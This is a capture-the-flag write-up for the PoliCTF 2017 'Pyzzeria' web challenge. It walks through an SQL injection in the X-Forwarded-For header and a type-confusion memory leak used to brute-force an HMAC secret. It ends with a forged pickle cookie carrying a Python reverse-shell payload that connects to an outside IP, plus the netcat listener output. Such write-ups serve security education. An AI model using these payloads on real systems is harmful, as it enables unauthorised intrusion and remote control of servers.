Pyzzeria - polictf 2017
An evil pyzza-maker has come to town: he is terrorizing the population by putting pineapple in every pyzza he cooks. Nobody can’t stop him as long as he is the only one knowing the secret to alter the recipe…
Our intel sources have identified his evil lab, but unfortunately the access seems restricted to his staff only. Can you help us save the Pyzza?
484 Pts, 3 solved, Grab Bag. http://pyzzeria.chall.polictf.it/pyzzeria
This was a great challenge involving a bunch of different techniques and styles all combined into the one task, from SQLi to reverse engineering.
Part 1 - Gaining access
After visiting the pyzzeria website we receive the following access denied message:
A quick look forrobots.txt
and other default files revealed nothing of interest, but cookies being returned included AWSALB
indicating the app was behind a load balancer and a pySess
indicating a python app. If the filter is based on IP it might be possible to bypass it with an X-Forwarded-For
header.
Nice we’re onto something! @corb3nik from my team OpenToAll then discovered that the header was vulnerable to an SQL injection.
So trying the stock standard SQLi test:
Great! We now have access to the main site and can start ordering pizzas.
Part 2 - Ordering Pizzas
After installing Modify Header Chrome extension and adding the X-Forwarded-For
bypass we are shown the pizza order page where we can choose a Margherita
or Stuffed
pizza:
After submitting a pizza, we are given an order code and a link to the oven at http://pyzzeria.chall.polictf.it/oven
The oven allows us to enter in an order code and receive the details for our pizza
When submitting a pizza, we receive a pyzza
cookie that is a large hex string like
Decoding this results in what looks like some base64 data followed by a hash, which looks suspiciously like it could be hmac.
When the base64 data is decoded we start to see where this challenge might be going:
This is a python object that has been serialized with Pickle! If we are able to send our own serialized data we can easily gain RCE. So lets try modify the cookie and see what happens:
As expected it failed, but we are told that our request has been logged to http://pyzzeria.chall.polictf.it/warehouse/logs/tampering_attempts. Following that link returns a 403, same with logs
, but warehouse
shows directory listing containing dev
, and inside that are a bunch of shared libraries:
After downloading and inspecting all of these, they are compiled python modules that we can import directly in python. The Cuoco class has a some interesting methods including cook
, get_secret
, and get_last_order
. get_secret
returns !DUMMY__SECRET!
(which is hardcoded in the binary), so I assumed that the server version would have this modified to the real secret which is used to calculate the HMAC.
Part 3 - Discovering the HMAC Secret
The pyzza
cookie contained a type at the start, either S
or M
, and I notice that this could be changed without invalidating the HMAC. This allowed us to cook a margherita, but have the status page display it as a stuffed pizza.
After playing around in python we discover few interesting things:
# !/usr/bin/env python
import cuoco
import pyzzaerror
import pyzzamargherita
import pyzzastuffed
c = cuoco.Cuoco(name="aaa", surname="bbb", age=12)
m = pyzzamargherita.PyzzaMargherita("5b5aae7c2cd4d5ea38996f94da4b9ccc", 0x00400000)
s = pyzzastuffed.PyzzaStuffed("5b5aae7c2cd4d5ea38996f94da4b9ccc", "sausage")
e = pyzzaerror.PyzzaError("aaaa", "bbbb")
print "Stuffed as Margherita"
c.cook(s, ord('M'))
print c.get_last_order()
print "\nMargherita as Stuffed"
c.cook(m, ord('S'))
print c.get_last_order()
print "\nError as Stuffed"
c.cook(e, ord('S'))
print c.get_last_order()
print "\nError as Margherita"
c.cook(e, ord('M'))
print c.get_last_order()
Output
Stuffed as Margherita
Pyzza obj @: 0x7ffff7e8d620
Pyzza type 77
leavening: 9999024
order: sausage
price: 7€
Margherita as Stuffed
Pyzza obj @: 0x7ffff7e8d5d0
Pyzza type 83
ingredients: 5b5aae7c2cd4d5ea38996f94da4b9ccc
order: ELF
price: 5€
Error as Stuffed
Pyzza obj @: 0x7ffff7e8d648
Pyzza type 83
ingredients: aaaa
order: bbbb
price: 1337€
Error as Margherita
Pyzza obj @: 0x7ffff7e8d648
Pyzza type 77
leavening: 10689696
order: aaaa
price: 1337€
So we have an arbitrary read when cooking a Margherita pizza as Stuffed, but there is a slight problem in that we need to know the order
code to be able to check the pizza’s status from the web site. We can get around this by brute forcing the order
code one byte at a time, but the other problem is that we have no idea where the secret is in memory as it’s part of cuoco.so
and due to ASLR could be anywhere.
The other interesting things are we have a heap leak from Stuffed as Margherita, and a pointer leak of bbbb
from Error as Margherita.
Looking at the cook method in a bit more detail in Binary Ninja, we see at 0x1270
that if eax
doesn’t equal 0x4d
or 0x53
then an error is created with INVALID
and invalid test
.
But then at 0x11cc
only al
is compared when choosing how to cook the pizza, so if we supply a pizza type of 0x1000004d
we can get it to cook an error as a Margherita pizza. This will mean that get_last_order
will return an order
of invalid test
and leavening
will be the location of INVALID!
. Looking at the location of !DUMMY__SECRET!
in the binary, is only 0x44 bytes away!
I wrote quick python script to create a pizza, change the type to our large M
, and submit it to cook. I also set the AWSALB
cookie to try to ensure that I hit the same app server each time.
# !/usr/bin/env python
import requests
headers = {
"X-Forwarded-For": "127.0.0.1 ' OR 1=1 -- "
}
data = {
"type": "M",
"leavening": 0x1234
}
req = requests.post("http://pyzzeria.chall.polictf.it/pyzzeria", headers=headers, data=data)
c = req.cookies.get("pyzza")
t,obj,hhash = c.decode("hex").split(":")
plain = obj.decode("base64")
enc = plain.encode("base64")
t = "\x10\x00\x00M"
code = "invalid test"
cookies = requests.cookies.RequestsCookieJar()
cookies.set("pyzza", ("%s:%s:%s"%(t,enc,hhash)).encode("hex"))
cookies.set("AWSALB", "BwDMMN42LQAVq+oEpFKAxk4grO5IuF/BnCbfVs6RUIsYPtSwZIVnj2ZasIdfhQOSND3cLn+o+yExUPSyYYbHLMzrFcUvydrBjwSkaJLJxrpjdtXMKCFNj5CsMouV")
resp = requests.post("http://pyzzeria.chall.polictf.it/oven", data={"order_code": code}, headers=headers, cookies=cookies)
print resp.text
Which returned a leaving time of 140188021826412
! Now we can use the leak from cooking a Margherita as Stuffed to extract the secret one character at a time. I started off testing just the last letter to see if it was the same as the dummy password, and it was! Summiting a !
successfully returned the order, but trying Y!
as the last two characters did not work, so brute forcing time.
import requests
import re
import string
import time
secretLength = 15
secretOffset = 0x45
found = ""
start = secretOffset-secretLength+len(found)
for i in range(start, secretOffset):
foundChar = False
for ch in string.lowercase + string.uppercase + string.digits:
code = ch + found
print "trying " + code
headers = {
"X-Forwarded-For": "127.0.0.1 ' OR 1=1 -- "
}
data = {
"type": "M",
"leavening": str(140188021826412-i)
}
time.sleep(5)
req = requests.post("http://pyzzeria.chall.polictf.it/pyzzeria", headers=headers, data=data)
cookiess = req.cookies.get("pyzza")
t,obj,hhash = cookiess.decode("hex").split(":")
plain = obj.decode("base64")
enc = plain.encode("base64")
t = "S"
cookies = requests.cookies.RequestsCookieJar()
cookies.set("pyzza", ("%s:%s:%s"%(t,enc,hhash)).encode("hex"))
cookies.set("AWSALB", "BwDMMN42LQAVq+oEpFKAxk4grO5IuF/BnCbfVs6RUIsYPtSwZIVnj2ZasIdfhQOSND3cLn+o+yExUPSyYYbHLMzrFcUvydrBjwSkaJLJxrpjdtXMKCFNj5CsMouV")
time.sleep(5)
resp = requests.post("http://pyzzeria.chall.polictf.it/oven", data={"order_code": code}, headers=headers, cookies=cookies)
respText = resp.text
if "with extra pineapple" in respText:
print "***** found: " + code
found = ch + found
foundChar = True
break
if "Sorry, order verification failed" in respText:
continue
else:
print respText
print "something went wrong"
print "code: " + code
if not foundChar:
print "no go :("
break
At this stage I didn’t realise that the connection throttling could be bypassed by modifying the X-Forwarded-For
header, so I just paused for 5 seconds between each request and left it running. After a while it had found 0y3y0y3!
as the end of the secret so I changed the search characters to just 0y3
and it finished much faster. We now have the secret key y3y0y3y0y3y0y3!
Part 4 - Putting it all together
Now lets see if we can sign our own payloads with the HMAC key:
import hashlib
import hmac
import requests
import pickle
import pyzzastuffed
s = pyzzastuffed.PyzzaStuffed("1234", "sausage")
payload = pickle.dumps(s)
enc = payload.encode("base64")
calcHash = hmac.new(secret, msg=payload, digestmod=hashlib.sha256).hexdigest()
cookies = requests.cookies.RequestsCookieJar()
cookies.set("pyzza", ("S:%s:%s"%(enc,calcHash)).encode("hex"))
resp = requests.post("http://pyzzeria.chall.polictf.it/oven", data={"order_code": "sausage"}, headers=headers, cookies=cookies)
Success! Final step is to use pickle to get RCE. I first tried with a simple sleep to see if the request waited 10 seconds before returning, which it did.
class PayloadClass(object):
def __reduce__(self):
comm = "sleep 10"
return (os.system, (comm,))
payload = pickle.dumps(PayloadClass())
But then I couldn’t get any reverse shell working, it would just hang or error out. I thought maybe outgoing network connections were being blocked, but a simple wget to my webserver got through successfully. Perhaps only port 80 is allowed?
#!/usr/bin/env python
import hashlib
import hmac
import requests
import pickle
import os
class PayloadClass(object):
def __reduce__(self):
remote_server = "172.104.127.243"
remote_port = 80
comm = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%d));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""%(remote_server,remote_port)
return (os.system, (comm,))
payload = pickle.dumps(PayloadClass())
secret = "y3y0y3y0y3y0y3!"
headers = {
"X-Forwarded-For": "127.0.0.2 ' OR 1=1 --"
}
enc = payload.encode("base64")
calcHash = hmac.new(secret, msg=payload, digestmod=hashlib.sha256).hexdigest()
cookies = requests.cookies.RequestsCookieJar()
cookies.set("pyzza", ("S:%s:%s"%(enc,calcHash)).encode("hex"))
pizza = pickle.loads(payload)
resp = requests.post("http://pyzzeria.chall.polictf.it/oven", data={"order_code": "sausage"}, headers=headers, cookies=cookies)
print resp.text
Bingo we have a shell and the flag
$ sudo nc -l -p 80
/bin/sh: 0: can't access tty; job control turned off
$ cat /home/polictf/flag
flag{c0w4bung4_p1zz4T1M3}